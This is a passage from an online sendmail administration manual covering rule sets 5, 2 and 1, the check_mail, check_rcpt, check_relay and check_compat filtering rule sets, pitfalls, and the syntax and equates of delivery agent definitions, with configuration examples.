Consider mail to the address john@firewall. On the firewall machine, rule set 3 recognizes the host part as local and throws away the @firewall. Rule set 0 then selects the local delivery agent. Because the address john is local, it is looked up in the aliases file. For this example we will assume that it is not found there. The user's ~/.forward file would normally be examined next, but user home directories are not visible to the firewall machine.

Because the address john is not aliased, it is then passed to rule set 5, which selects another delivery agent to forward the message into the local network:

S5
R$-     $#smtp $@hub.internal.net $:$1

Here, the john matches the $- in the LHS, so the smtp delivery agent is selected. The mail message is forwarded to the local network with john (the $1) as the username and hub.internal.net as the name of the receiving machine on the internal network.

For such a scheme to work, all local machines must send offsite mail addressed as though it were from the firewall, and local names must be changed to offsite forms when forwarded offsite. For example, the name john@local.host needs to be changed to john@firewall for all outgoing offsite mail.

Note that rule set 5 can also be used in situations that do not involve firewalls. It can be used as a hook into forwarding to other types of networks, with special mailing list software, or even as a way to handle retired accounts. Also note that rule set 5 may select a new delivery agent, but it does not have to.

For those times when rule set 5 may not be appropriate, V8 sendmail offers a technique for bypassing it. In rule set 0, if the first token following the $: of a rule that selects the local delivery agent is an @, sendmail removes the @ and skips calling rule set 5:

R$-         $#local $: @ $1

                       removed and rule set 5 skipped

Note that rule set 5 is the way V8.7 sendmail and above institutes the plussed users technique (see Section 24.4.3, "Plussed Users").

Previous: 29.6 Rule Set 0 | sendmail | Next: 29.8 Rule Set 2
29.6 Rule Set 0 | Book Index | 29.8 Rule Set 2


[Chapter 29] 29.8 Rule Set 2

sendmailSearch this book
Previous: 29.7 Rule Set 5 Chapter 29
Rule Sets 		Next: 29.9 Rule Set 1

29.8 Rule Set 2

All recipient addresses are rewritten by rule set 2 and the R= of delivery agents. But in almost all configuration files, rule set 2 is unused because no processing is needed:

# Recipient processing: none needed
S2

But note that rule set 2 can be used to debug rules. [5] Consider the following rule in rule set 2:

[5] This is a truly bogus example. We are really stretching to find a use for rule set 2. There is no reason to do this debugging in rule set 2 because rule set 99 would work just as well. According to Eric, "I can think of no good reason to use S2 today."

R$#$+ $:$+     $:$2    Strip delivery agent and host when debugging

Recall that rule set 0 returns a triple. When testing an address, rule set 2 can be called following rule set 0 to simulate the rewriting of the user portion of rule set 0. Here the LHS matches only a triple, so normal recipient addresses are unaffected. The user part that is returned by the RHS can then be used to test individual R= rules of delivery agents. (Another technique is to use the /try command in -bt rule-testing mode; see Section 38.5.6, "Try a Delivery Agent with /try".)

Previous: 29.7 Rule Set 5 | sendmail | Next: 29.9 Rule Set 1
29.7 Rule Set 5 | Book Index | 29.9 Rule Set 1


[Chapter 29] 29.9 Rule Set 1

sendmailSearch this book
Previous: 29.8 Rule Set 2 Chapter 29
Rule Sets 		Next: 29.10 The check_... Rule Sets

29.9 Rule Set 1

Rule set 1 is intended to process all sender addresses. It is rarely used but can find application at sites where all outgoing mail should appear to come from a central mail server. Rules to handle this host hiding might look like this:

R$-                 $@ $1 <@ $R>           user => user@ourdomain
R$* <@ $=w> $*      $@ $1 <@ $R> $3        user@localhost => user@ourdomain

In the LHS the $=w matches any name from a list of names by which the local host is known. In the RHS the $R contains the name of the mail server. If the mail is not from the local host, it is unchanged.

Other uses for rule set 1 might include the following:

  • Normalizing senders, for example, making mail from the users operator and dumper appear to come from root.

  • Hiding user login names by mapping them (through an external database) to the form firstname.lastname.

Needless to say, great care should be exercised in adding schemes such as these to your configuration file.

Previous: 29.8 Rule Set 2 | sendmail | Next: 29.10 The check_... Rule Sets
29.8 Rule Set 2 | Book Index | 29.10 The check_... Rule Sets


[Chapter 29] 29.10 The check_... Rule Sets

sendmailSearch this book
Previous: 29.9 Rule Set 1 Chapter 29
Rule Sets 		Next: 29.11 Pitfalls

29.10 The check_... Rule Sets

The rapid spread of the Internet has led to an increase of mail abuses. Prior to V8.8 sendmail, detecting and rejecting abusive email required that you write C language code for use in the checkcompat() routine (see Section 20.1, "How checkcompat() Works"). Beginning with V8.8 sendmail important and useful checking and rejecting can be done from within four brand new rule sets: check_mail Validate the sender-envelope address given to the SMTP MAIL command. check_rcpt Validate the recipient-envelope address given to the SMTP RCPT command. check_relay Validate the host initiating the SMTP connection. check_compat Compare or contrast each envelope sender and envelope recipient pair of addresses just before delivery, and validate based on the result.

These routines are handled in the same manner. If the rule set does not exist, the address is accepted. If the rule set returns anything other than a #error delivery agent, the message is accepted. Otherwise, the message is rejected by using the mechanism described under the #error delivery agent (see Section 30.5.2, "The error Delivery Agent").

29.10.1 The check_mail Rule Set

The MAIL command in the SMTP dialog is used to specify the envelope-sender address:

MAIL From: <sender@host.domain>

If the check_mail rule set exists, it is called immediately after the MAIL command is read. The workspace passed to check_mail is the address following the colon in the MAIL command. That envelope sender address may or may not be surrounded by angle braces.

To illustrate one use for the check_mail rule set, consider the need to reject all incoming mail from the site named spamming.org. [6] One method might look like this:

[6] Also see Section 22.4.1, "Accept/Reject Connections via libwrap.a" for a discussion of how to use the TCP wrapper library from within sendmail.

Scheck_mail
R$*                   $: $>3 $1              focus on the host
R$* <@ $+. > $*       $1 <@ $2> $3           strip trailing dots
R$* <@ $+ > $*        $: $2                  isolate the host
R$* . $+ . $+         $: $2 . $3             strip subdomains
Rspamming.org         $#error $@ 5.7.1 $: "cannot accept mail from spamming.org"

Here, we force rule set 3 to preprocess the address so that any RFC822 comments will be thrown away and so that the host part of the address will be focused. We then strip any trailing dots from the hostname to prevent a trailing dot from wrongly effecting our validation. In the third line we throw away everything but the hostname. In the fourth line we throw away all but the rightmost two components of the hostname to eliminate the host part and any subdomain prefixes. What remains is just the domain name. We then compare that domain name to the hostname spamming.org. If they match, we reject the sender.

After this rule set is installed (and the sendmail daemon had been restarted), all mail from spamming.org will be rejected during the SMTP dialogue like this:

MAIL From: <badguy@spamming.org>
553 <badguy@spamming.org>... cannot accept mail from spamming.org

This is just one possible use of the check_mail rule set. Other uses might be the following:

  • Rejecting mail from specific users at a given site.

  • Looking up user@host in a database and rejecting the sender if that lookup succeeds.

  • Insisting that the host part of the address be canonifiable with the $[ and $] operators.

If you need to base a decision to reject mail on both the sender and the recipient, you may be able to use the check_compat rule set described below.

29.10.2 The check_rcpt Rule Set

The RCPT command in the SMTP dialogue specifies an envelope recipient's address:

RCPT To: <recipient@host.domain>

If the check_rcpt rule set exists, it is called immediately after the RCPT command is read. The workspace that is passed to check_rcpt is the address following the colon. The envelope recipient address may or may not be surrounded by angle brackets and may or may not have other RFC822 comments associated with it.

To illustrate one use for the check_rcpt rule set, consider the need to reject all incoming mail destined for the recipient named fax. One method might look like this:

R$*                     $: $>3 $1               focus on host
R$* <@ $~w > $*         $@ ok                   not @ourhost is okay
R$* <@ $+ > $*          $: $1                   discard host
Rfax                    $#error $@ 5.1.3 $: "cannot send mail to fax"

Here, we first call rule set 3 to focus on the host part of the address and normalize it. The second rule accepts anything that is addressed to any host but our own. That way, mail to fax@another.host will work. The third rule discards the host (our local) part of the address. In the fourth line the remaining user part is compared to the name fax. Any mail to fax is thus rejected:

RCPT To: <fax@ourhost>
553 <fax@ourhost>... cannot send mail to fax

Other uses for this check_rcpt rule set might include the following:

  • Protecting a user who has become the target of a mail attack. You could create a new account for this user and block incoming mail to the old account. In the #error message you could print a phone number that others may call to obtain the new email address.

  • Claiming that certain secret users are unknown. These might be the pseudo-users associated with autonomous processes.

  • Refusing to accept mail that is not addressed to a user who has an active account as represented by the passwd(5) file (see Section 33.8.20, user).

  • Looking up recipients in a database and accepting mail for them only if they are found in that database. This way, only selected users may be allowed, for example, through a firewall, though the firewall knows all about all users.

  • Looking up local-looking recipients in a database to see whether they have moved to a new location. If so, advise the other site of the new address with a rejection message. This is similar to the redirect FEATURE (see Section 19.6.21, FEATURE(redirect)), but operates at the RCPT level instead of sending bounced mail.

  • Turning off unwanted "relaying" through your machine. Requires use of the ${client_name} macro (see Section 31.10.8, ${client-name}).

29.10.3 The check_relay Rule Set

V8.8 sendmail supports two mechanisms for screening incoming SMTP connections. One is the libwrap.a mechanism (see Section 22.4.1); the other is this check_relay rule set. This rule set is used to screen incoming network connections and accept or reject them based on hostname, domain, or IP number. It is called just before the libwrap.a code and can be used if that code was omitted from your release of sendmail.

The check_relay rule set is called with a workspace that looks like this:

hostname $| IPnumber

The hostname and IP number are separated by the $| operator. The hostname is the fully qualified canonical name of the connecting host. The IPnumber is the IP number of that host in dotted-quad form without surrounding square brackets.

One way to use check_relay might be to list offensive sites in a database and to reject any connections from those sites. Consider a database that contains hostnames as its keys and descriptions of each host's offense as its values:

hostA.edu      Spamming site
hostB.com      Mail Bombing site
123.45.6       Offensive domain

Notice that the keys can be hostnames or IP addresses. Such a database might be declared in the configuration file like this:

Kbadhosts dbm -a <> /etc/badhosts

Now, each time a site connects to your running daemon, the following rule set will be called:

Scheck_relay
R$* $| $*            $: $(badhosts $1 $) $| $2             look up host name
R$*<> $| $*          $#error $@ 5.1.3 $: Sorry, $1 denied
R$* $|  $*           $: $2                                 select the IP number
R$-.$-.$-.$-         $: $(badhosts $1.$2.$3 $)             look up domain part
R$*<>                $#error $@ 5.1.3 $: Sorry, $1 denied
R$*                  $@ ok                                 otherwise okay

The second rule looks up the host part in the database. If it is found, the value (reason for rejection) is returned and the two characters <> are appended. The third rule looks for anything to the left of the $| that ends in <> and, if anything is found, issues the error: [7]

[7] Actually, the message is not printed; instead, the SMTP daemon goes into a "reject everything" mode. This prevents some SMTP implementations from retrying the connection.

Sorry, reason for reject denied

Rejected connections are handled the same way as connections rejected by the libwrap.a technique (see Section 22.4.1).

The rest of the rules do the same thing, except that they check for the IP number. If the check_relay rule set returns anything other than a #error delivery agent, the address is accepted.

Note that the rules presented here are not nearly as complex or sophisticated as your site will likely need. It does not, for example, reject on the basis of the domain part of hostnames, nor does it reject on the basis of the individual host IP addresses.

Note that such rule sets cannot be tested in rule-testing mode, because that mode interprets the expression $| (when you enter it at the > prompt) wrongly as two separate text characters instead of correctly as a single operator. To test an address that contains an embedded $| operator, we suggest that you create a translation rule set something like this:

STranslate
R$* $$| $*              $: $1 $| $2                            fake for -bt mode

This rule set changes a literal $ and | into a $| operator so that you can test rule sets such as check_relay from rule-testing mode:

ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> Translate,check_relay bogus.host.domain $| 123.45.67.89

Here, the comma-separated list of rule sets begins with Translate, which changes the two-character text expression "$|" into the single operator $|. The result, an address expression that is suitable for the check_relay rule set, can then be successfully tested. [8]

[8] Don't be tempted to put this rule directly into the check_relay rule set. You may someday encounter an address that has the two adjacent characters "$" and "|" as a legal part of it. Also beware of such addresses being intentionally sent just to circumvent your checks.

29.10.4 The check_compat Rule Set

Not all situations can be resolved by simply checking the recipient or sender address. Sometimes you will need to make judgments based on pairs of addresses. To handle this situation, V8.8 introduced the check_compat rule set. Unlike check_mail and check_rcpt, check_compat is called for all deliveries, not just SMTP transactions. It is called just after the check for too large a size (as defined by M=; see Section 30.4.7, M=) and just before the checkcompat() routine is called (see Section 20.1).

The check_compat rule set is called with a workspace that looks like this:

sender $| recipient

The sender and recipient address are separated by the $| operator. Each has undergone aliasing and ~/.forward file processing.

As one example of a way to use the check_compat rule set, consider the need to prevent a certain user (here operator) from sending mail offsite:

SGet_domain
R$*                     $: $>3 $1               focus on host
R$* <@ $+. > $*         $1 <@ $2> $3            strip trailing dots
R$* <@ $+ > $*          $: $2                   isolate the host
R$* . $+ . $+           $@ $2 . $3              strip host and subdomains

SGet_user
R$*                     $: $>3 $1               focus on host
R$* <@ $+ > $*          $@ $1                   discard host

Scheck_compat
R$* $| $*               $: $1 $|  $>Get_domain $2       fetch recipient domain
R$* $|  $=w             $@ ok                           local is okay
R$* $|  $m              $@ ok                           local is okay
R$* $|  $*              $: $>Get_user $1                fetch sender user
Roperator               $#error $@ 5.1.3 $: "operator may not mail offsite"

First we set up two subroutines patterned after the code in the previous two sections. The first reduces its workspace to just the domain part of an address. The second reduces an address to just the user part. These two subroutines are called by check_compat.

The first rule in check_compat uses the Get_domain subroutine to convert the address on the right (the recipient) into just a domain name. That right side is compared to the local hosts names ($=w and $m). If the domain is a local one, delivery is allowed (we return anything but #error).

If the domain is an offsite one, we then call Get_user to fetch the user part of the address to the left (the sender). If that user is operator, delivery is denied and the message bounces.

Other uses for the check_compat rule set might be the following:

  • Creating a class of user who, possibly for security reasons, may send only mail inside the organization, but not outside it.

  • Screening a particular recipient to prevent that user from receiving objectionable mail from a specific source.

  • Screening mail based on hostname to prevent outsiders from using your host as a mail relay.

Note that such rule sets cannot be tested in rule-testing mode because that mode interprets the expression $| (when you enter it at the > prompt) wrongly as two separate text characters instead of correctly as a single operator. See Section 29.10.3, "The check_relay Rule Set" for one suggested solution to this problem.

Previous: 29.9 Rule Set 1 | sendmail | Next: 29.11 Pitfalls
29.9 Rule Set 1 | Book Index | 29.11 Pitfalls


[Chapter 29] 29.11 Pitfalls

sendmailSearch this book
Previous: 29.10 The check_... Rule Sets Chapter 29
Rule Sets 		Next: 30. Delivery Agents

29.11 Pitfalls

  • Rules that hide hosts in a domain should be applied only to sender addresses. Avoid the temptation to place such substitutions of host for domain names into rule set 3. Rule set 3 applies to all addresses and can wrongly change a nonlocal address.

  • Not all configuration files focus with user<@domain>. IDA, for example, uses a more complex focus: <@domain>,...,user. Be sure you understand the style of focusing that is used in your configuration file before attempting to create new rules.

  • Avoid confusing rule sets 1 and 2 when adding rules. Rule set 1 is for the sender; rule set 2 is for the recipient.

  • Typos in rule-set declarations can be difficult to locate. For example, S1O (in which the last character is the capital letter O) will silently evaluate to rule set 1 when you really meant rule set 10.

  • All versions of sendmail except V8 wrongly call rule set 2 and the recipient R= when processing the envelope sender.

Previous: 29.10 The check_... Rule Sets | sendmail | Next: 30. Delivery Agents
29.10 The check_... Rule Sets | Book Index | 30. Delivery Agents


[Chapter 30] Delivery Agents

sendmailSearch this book
Previous: 29.11 Pitfalls Chapter 30 Next: 30.2 The Symbolic Name

30. Delivery Agents

Contents:
Configuration File Syntax
The Symbolic Name
m4 Configuration Syntax
The Equates
Internally Defined Names
How Executed
Pitfalls
Alphabetized F= Flags

The sendmail program does not perform the actual delivery of mail. Instead, it calls other programs (called mail delivery agents) to perform that service. Because the mechanics of delivery can vary so widely from delivery agent to delivery agent, sendmail needs a great deal of information about each delivery agent. Each sendmail M configuration-file command defines a mail delivery agent and the information that sendmail needs.

30.1 Configuration File Syntax

Like all sendmail.cf commands, the M mail delivery agent command must begin a line. One typical such command looks like this:

        delivery program                        command line
          -v                                        -v
Mlocal, P=/bin/mail, F=rlsDFMmnP, S=10, R=20, A=mail -d $u

                     flags         sender/recipient rules

This M configuration command is composed of six parts: a symbolic name followed by five equates, each separated from the others by commas. Spaces between the parts are optional. The specific syntax of the mail delivery agent command is

Msymname, equate, equate, ...

The letter M always begins the delivery agent definition, followed by a symbolic name (the symname) of your choosing and a comma-separated list of delivery agent equates. Only the P= and A= equates are required. The others are optional.

The comma following the symbolic name is optional. As long as there is a space following the symbolic name, sendmail parses it correctly. The comma should, however, always be included for improved clarity. [1]

[1] SunOS 4.1.2's sendmail does not properly support freezing if the comma is present.

In the following, the first example includes the comma, and the second omits it. Both are parsed by sendmail in exactly the same way:

Mlocal, P=/bin/mail, F=rlsDFMmnP, S=10, R=20, A=mail -d $u
Mlocal  P=/bin/mail, F=rlsDFMmnP, S=10, R=20, A=mail -d $u

Previous: 29.11 Pitfalls | sendmail | Next: 30.2 The Symbolic Name
29.11 Pitfalls | Book Index | 30.2 The Symbolic Name


[Chapter 30] 30.2 The Symbolic Name

sendmailSearch this book
Previous: 30.1 Configuration File Syntax Chapter 30
Delivery Agents 		Next: 30.3 m4 Configuration Syntax

30.2 The Symbolic Name

The M that begins the delivery agent definition command is immediately followed, with no intervening whitespace, by the name of the delivery agent. Note that the name is symbolic and is used only internally by sendmail. The name may contain no whitespace, and, if it is quoted, the quotation marks are interpreted as part of its name. In the following, only the first is a good symbolic name:

Mlocal                        <-  name is "local", good
M local                       <-  error: "name required for mailer"
Mmy mailer                    <-  error: "mailer my: `=' expected"
M"mymailer"                   <-  quotation marks wrongly retained

Although the symbolic name can contain any character other than a space or a comma, only letters, digits, dashes, and underscore characters are recommended:

Mprog-mailer              <-  name is "prog-mailer", good
Mprog_mailer              <-  name is "prog_mailer", good
Mmymailer[];              <-  name contains a "[];", avoid such characters

The symbolic name is not case-sensitive; that is, local, Local, and LOCAL are all identical.

Note that if two delivery agents have the same name, all the equates for the second definition replace those for the first. Therefore the last definition for a particular symbolic name is the one that is used.

The cumulative result of all delivery agent declarations can be seen by using the -d0.15 debugging switch (see Section 37.5.4, -d0.15) or by using the =M rule-testing command (see Section 38.4.2, "Show Delivery Agents with =M").

30.2.1 Required Symbolic Names

Prior to V8.1, two delivery agent symbolic names had to be defined in every configuration file: local The symbolic name of the program that handles delivery on the local machine (usually /bin/mail). prog The symbolic name of the program that executes other programs for delivery (usually the /bin/sh shell).

Beginning with V8.1, only the local delivery agent is required. If a required definition is missing, sendmail prints one of the following warning messages but continues to run:

No prog mailer defined.
No local mailer defined.

Previous: 30.1 Configuration File Syntax | sendmail | Next: 30.3 m4 Configuration Syntax
30.1 Configuration File Syntax | Book Index | 30.3 m4 Configuration Syntax


[Chapter 30] 30.3 m4 Configuration Syntax

sendmailSearch this book
Previous: 30.2 The Symbolic Name Chapter 30
Delivery Agents 		Next: 30.4 The Equates

30.3 m4 Configuration Syntax

Under V8 sendmail's m4 configuration technique you include delivery agent definitions in your configuration file with the MAILER() m4 command. The form for that command looks like this:

MAILER(`name')

For example, SMTP and UUCP support can be included in your file by using the following two commands:

MAILER(`smtp')
MAILER(`uucp')

The delivery agent M definitions that correspond to MAILER() commands are kept in the _CF_DIR_/mailer directory (_CF_DIR_ is described in Section 19.2.1, "Maintain local files with _CF_DIR_"). See Table 19.3 in Section 20.3.2, define() for a list of all the available agents.

In general, the files in the _CF_DIR_/mailer directory should never be modified. If one of the definitions needs to be tuned, use the special keywords described under the individual equates (see Section 30.4, "The Equates"). For example, the following modifies the maximum message size (the M= equate see Section 30.4.7, M=) for the UUCP agent:

define(`UUCP_MAX_SIZE',`1000000')dnl

Here, the maximum size of a UUCP message has been increased from the default of 100,000 (one hundred thousand) bytes to a larger limit of 1,000,000 (one million) bytes.

30.3.1 Tuning Without an Appropriate Keyword

Unfortunately, not all equates can be tuned with m4 defines. The U= equate for the usenet agent is one example. To change such a value, you need to copy the original definition, modify it, and put the modified definition in your local mc file. For example, to add a U= equate to the Usenet delivery agent, you might do the following: [2]

[2] We are fudging here. The grep(1) won't work because the Musenet definition is split over three lines. Instead, you need to use your editor to cut and paste.

% grep -h Musenet mailer/*
Musenet,    P=USENET_MAILER_PATH, F=USENET_MAILER_FLAGS, S=10, R=20,
            _OPTINS(`USENET_MAILER_MAX', `M=', `, ')T=X-Usenet/X-Usenet/X-Unix,
            A=USENET_MAILER_ARGS $u

Here, the prototype definition for the usenet delivery agent is found. Copy that definition into your mc file and add the missing equate:

MAILER(usenet)dnl
MAILER_DEFINITIONS
Musenet,   P=USENET_MAILER_PATH, F=USENET_MAILER_FLAGS, S=10, R=20, U=news:news,
            _OPTINS(`USENET_MAILER_MAX', `M=', `, ')T=X-Usenet/X-Usenet/X-Unix,
            A=USENET_MAILER_ARGS $u

First, the MAILER() m4 command causes initial support for the usenet delivery agent to be included. The MAILER_DEFINITIONS section (see Section 19.6.40, MAILER-DEFINITIONS) then introduces your new delivery agent definition. Your new definition follows, and thus replaces, the original definition.

Create a new configuration file, and run grep(1) to check the result:

% m4 our.mc > our.cf
% grep ^Musenet our.cf
Musenet,        P=/usr/lib/news/inews, F=rlsDFMmn, S=10, R=20,
Musenet,        P=/usr/lib/news/inews, F=rlsDFMmn, S=10, R=20, U=news:news,

30.3.2 Create a New m4 Delivery Agent

From time to time you may need to create a brand-new delivery agent. To create a new delivery agent with the m4 system, first change to the cf/mailer directory. Copy an existing m4 file, one that is similar to your needs. Then edit that new file, and include it in your configuration file with

MAILER(newname)

Note that the MAILER m4 command automatically prefixes the name with _CF_DIR_/mailer/ (_CF_DIR_ is described in Section 19.2.1) and adds the suffix .m4, here forming cf/mailer/newname.m4.

But be aware that creation of a new delivery agent is not for the faint of heart. In addition to the delivery agent definition you will also need to create brand new S= and R= rules and rule sets.

Previous: 30.2 The Symbolic Name | sendmail | Next: 30.4 The Equates
30.2 The Symbolic Name | Book Index | 30.4 The Equates


[Chapter 30] 30.4 The Equates

sendmailSearch this book
Previous: 30.3 m4 Configuration Syntax Chapter 30
Delivery Agents 		Next: 30.5 Internally Defined Names

30.4 The Equates

Recall that the form for the M command is

Msymname, equate, equate, equate, ...

Each equate expression is of the form

field=arg

The field is one of those in Table 30.1. Only the first character of the field is recognized. That is, all of the following are equivalent:

S=21
Sender=21
SenderRuleSet=21

The field is followed by more optional whitespace, the mandatory = character, optional whitespace, and finally the arg. The form that the arg takes varies depending on the field. It may or may not be required.

Special characters can be embedded into the field as shown in Table 31.3 of Section 31.3.2, "Syntax of the Configuration File Macro's Text". For example, the backslash notation can be used to embed commas and a newline character into the A= equate like this:

...    A=eatmail -F0\,12\,99 -E\n

The complete list of equates is shown in Table 30.1. A full description of each begins in the next section. They are presented in alphabetical order rather than in the order in which they would appear in typical delivery agent definitions.

Table 30.1: Delivery Agent Equates
Equate | Field Name |  | Meaning
A= | Argv | Section 30.4.1, A= | Delivery agent's command-line arguments
C= | Charset | Section 30.4.2, C= | Default MIME character set (V8.7 and above)
D= | Directory | Section 30.4.3, D= | Paths to directories for execution (V8.6 and above)
E= | EOL | Section 30.4.4, E= | End-of-line string
F= | Flags | Section 30.4.5, F= | Flags describing a delivery agent's behavior
L= | Linelimit | Section 30.4.6, L= | Maximum line length (V8.1 and above)
M= | Maximum | Section 30.4.7 | Maximum message size
N= | Niceness | Section 30.4.8, N= | How to nice(2) the agent (V8.7 and above)
P= | Path | Section 30.4.9, P= | Path to the delivery program
R= | Recipient | Section 30.4.10, R= | Recipient rewriting rule set
S= | Sender | Section 30.4.11, S= | Sender rewriting rule set
T= | Type | Section 30.4.12, T= | Types for DSN diagnostics (V8.7 and above)
U= | UID | Section 30.4.13, U= | Run agent as uid:gid (V8.7 and above)

30.4.1 A=

The argv for this delivery agent

(All versions)

The program that is to be run (specified by the P= equate) is given its C language char **argv array (list of command-line arguments) by this A= equate. This equate is traditionally the last one specified, because, prior to V8.7, the argv arguments were all those from the = to the end of the line:

Mlocal, P=/bin/mail, F=rlsDFMmnP, S=10, R=20, A=mail -d $u

                                 prior to V8.7, argv to end of line   ->

Beginning with V8.7, the A= is treated like any other equate, in that it ends at the end of line or at the first comma. The backslash character can be used as a prefix to embed commas in the A= equate.

Macros are expanded and may be used in this argv array. For example,

A=mail -d $u

The A= begins the declaration of the argument array. The program that is specified by the P= equate (/bin/mail) will be executed with an argv of

argv[0] = "mail"
argv[1] = "-d"                <-  switch means perform final delivery
argv[2] = "fred"              <-  where macro $u contains "fred"

The macro value of $u contains the current recipient name (see Section 31.10.36, $u). Another macro that commonly appears in A= fields is $h, the recipient host (see Section 31.10.17, $h). You are, of course, free to use any macro you find necessary as a part of this argv array. Note that $u is special in that if it is missing, sendmail will speak SMTP to the delivery agent (see Section 30.4.1.3, "$u in A="). Also note that any arguments in excess of the maximum number defined by MAXPV (see Section 18.8.19, MAX...), usually 40, are silently ignored.

30.4.1.1 m4 A= definitions

Under V8 sendmail's m4 configuration you can define the A= equate using the values shown in the leftmost column of Table 30.2. For example, to modify the A= equate for the local delivery agent, you might include this definition in your mc file:

define(`LOCAL_MAILER_ARGS', `put.local -d $u -l')dnl

Table 30.2: m4 Modification of A= Equates
define() | Agent | MAILER() | Default A=
CYRUS_MAILER_ARGS | cyrus | cyrus | deliver -e -m $h -- $u
CYRUS_BB_MAILER_ARGS | cyrusbb | cyrus | deliver -e -m $u
FAX_MAILER_ARGS | fax | fax | mailfax $u $h $f
LOCAL_MAILER_ARGS | local | local | mail -d $u
LOCAL_SHELL_ARGS | prog | local | sh -c $u
MAIL11_MAILER_ARGS | mail11 | mail11 | mail11 $g $x $h $u
PH_MAILER_ARGS | ph | phquery | phquery -- $u
POP_MAILER_ARGS | pop | pop | pop $u
PROCMAIL_MAILER_ARGS | procmail | procmail | procmail -m $h $f $u
SMTP_MAILER_ARGS | smtp | smtp | IPC $h
SMTP8_MAILER_ARGS | smtp8 | smtp | IPC $h
ESMTP_MAILER_ARGS | esmtp | smtp | IPC $h
RELAY_MAILER_ARGS | relay | smtp | IPC $h
USENET_MAILER_ARGS | usenet | usenet | inews -m -h -n
UUCP_MAILER_ARGS | uucp | uucp | uux - -r -a$g -gC $h!rmail ($u)

In general, the definitions in the _CF_DIR_/ostype subdirectory are pretuned in a way that is best for most sites. If you want to make changes, remember that each definition that you put in your mc file replaces the definition in _CF_DIR_/ostype. Therefore it's best to copy an existing definition and modify it for your own use. Just be sure you don't omit something important. (The _CF_DIR_ prefix is described in Section 19.2.1.)

30.4.1.2 $h and other arguments in A=[IPC]

For network delivery via the P=[IPC] delivery agent, the A= equate is usually declared like this:

A=IPC $h

The value in $h is the value returned by rule set 0's $@ operator and is usually the name of the host to which sendmail should connect. During delivery the sendmail program expands this hostname into a possible list of MX records. [3] It attempts delivery to each MX record. If all delivery attempts fail and if the V8 FallbackMXhost (V) option (see Section 34.8.25, FallbackMXhost (V)) is set, delivery is attempted to that fallback host. In all cases, if there are no MX records, delivery is attempted to the A record instead.

[3] Unless the V8.8 F=0 flag is set (see Section 30.8.1, F=0).

Beginning with V8 sendmail, $h (possibly as returned by rule set 0) can be a colon-separated list of hosts. The sendmail program attempts to connect to each in turn, left to right:

A=IPC hostA:hostB:hostC

Here, it tries to connect to hostA first. If that fails, it next tries hostB, and so on. As usual, trying a host means trying its MX records first, or its A record if there are no MX records.

The host (as $h) is usually the only argument given to IPC. But, strictly speaking, IPC can accept three arguments, like this:

A=IPC hostlist port

The port (third argument) is usually omitted and so defaults to 25. However, a port number can be included to force sendmail to connect on a different port.

To illustrate, consider the need to force mail to a gateway machine to be always delivered on a particular port. First, design a new delivery agent that uses IPC for transport.

Mgateway, P=[IPC], ..., A=IPC gateway.domain $h

Here, any mail that selects the gateway delivery agent is transported over the network (the [IPC]) to the machine gateway.domain. The port number is carried in $h, which usually carries the hostname.

Next, design a rule in rule set 0 that selects this delivery agent:

R$+ < @ $+ .gateway > $*            $#gateway $@ 26 $: $1 < @ $2 .gateway> $3

This rule selects the gateway delivery agent for any address that ends in .gateway. The host part that is returned by the $@ is the port number to use. The $: part (the address) is passed in the envelope. Note that the gateway also has to be listening on the same port for this to work.

In the event that you wish to carry the port number in a macro, you may do so by specifying the host with $h. For example,

Mgateway, P=[IPC], ..., A=IPC $h $P
R$+ < @ $+ .gateway > $*            $#gateway $@ $2 $: $1 < @ $2 .gateway> $3

Then sendmail can be run with the command-line argument

-MP26

to cause gateway mail to go out on port 26.

30.4.1.3 $u in A=

The $u macro is special in the A= equate's field. If $u does not appear in the array, sendmail assumes the program in P= equate speaks SMTP. Consequently, you should never use a $u when defining mail delivery agents that speak SMTP. All agents that use [IPC] or [TCP] in their P= equate's field must use SMTP.

If $u does appear in the array, sendmail assumes that the program in P= does not speak SMTP.

If $u appears and the F=m delivery agent flag is also specified, then the argument containing $u is repeated as many times as there are recipients. For example, a typical uucp delivery agent definition looks like this:

Muucp, P=/bin/uux, F=msDFMhuU, S=13, R=23, A=uux - -r $h!rmail ($u)

                     note                                      note

In the above, the m flag is set in the F= equate's field, which tells sendmail that this delivery agent can deliver to multiple recipients simultaneously. The $u macro is also included as one of the arguments specified by the A= command-line array. Thus if mail is sent with this delivery agent to multiple recipients, say jim, bill, and joe, then the ($u) argument [4] is repeated three times, once for each recipient:

[4] When $u is used as part of a UUCP delivery agent's F=A array, it should be parenthesized. This is what the uux(1) program expects.

uux - -r $h!rmail (jim) (bill) (joe)

30.4.2 C=

The default MIME character set

(V8.7 and above)

The C= equate (introduced with V8.7 sendmail) is used to define a default character set for use with the MIME Content-Type: header (see Section 35.10.9, Content-Type:). If it is present, its value supersedes that of the DefaultCharSet option (see Section 34.8.14, DefaultCharSet).

Note that the C= equate is examined only when the delivery agent is selected for a sender address.

When a mail message is converted from 8 to 7 bits (see the EightBitMode (8) option in Section 34.8.22, EightBitMode (8)), it is important that the result looks like a MIME message. V8.7 sendmail first outputs the following header (if one is not already present):

MIME-Version: 1.0

Next, V8.7 sendmail looks for a Content-Type: header (see Section 35.10.9). If none is found, the following is inserted, where charset is the value declared for the C= equate of the sender's delivery agent:

Content-Type: text/plain; charset=charset

If the argument to the C= is missing, the following error is printed and the C= becomes undefined:

mailer agent_name: null charset

If the C= equate is undefined in your configuration file, charset defaults to the value of the DefaultCharSet option. If both are undefined, the value for charset becomes "unknown-8bit."

30.4.3 D=

Paths to directories for execution

(V8.6 and above)

Ordinarily, whenever sendmail executes a program via the prog delivery agent, it does so from within the sendmail queue directory. One unfortunate side effect of this behavior is that shell scripts written with the C-shell (and possibly other programs) may fail because they cannot stat(2) the current directory. To alleviate this problem, V8 sendmail has introduced the D= delivery agent equate. This new equate allows you to specify a series of directories for sendmail to attempt to chdir(2) into before invoking the delivery program.

The form of the D= equate looks like this:

D=path1:path2...

The D= is followed by a colon-separated series of directory pathnames. Before running the delivery program, sendmail tries to chdir(2) into each in turn, leftmost to rightmost, until it succeeds. If it does not succeed with any of the directories (perhaps because none of them exist), sendmail remains in its queue directory.

One recommended setting for the D= equate is this:

D=$z:/tmp

Here, sendmail first tries to chdir(2) into the directory defined by the $z macro (see Section 31.10.46, $z). That macro either contains the full pathname of the recipient's home directory or is NULL. If it is NULL or if the home directory is unavailable, the chdir(2) fails, and sendmail instead does a chdir(2) to the /tmp directory.

In using V8 sendmail's m4 configuration, the value given to D= can be easily changed only for the prog delivery agent, which defaults to

D=$z:/

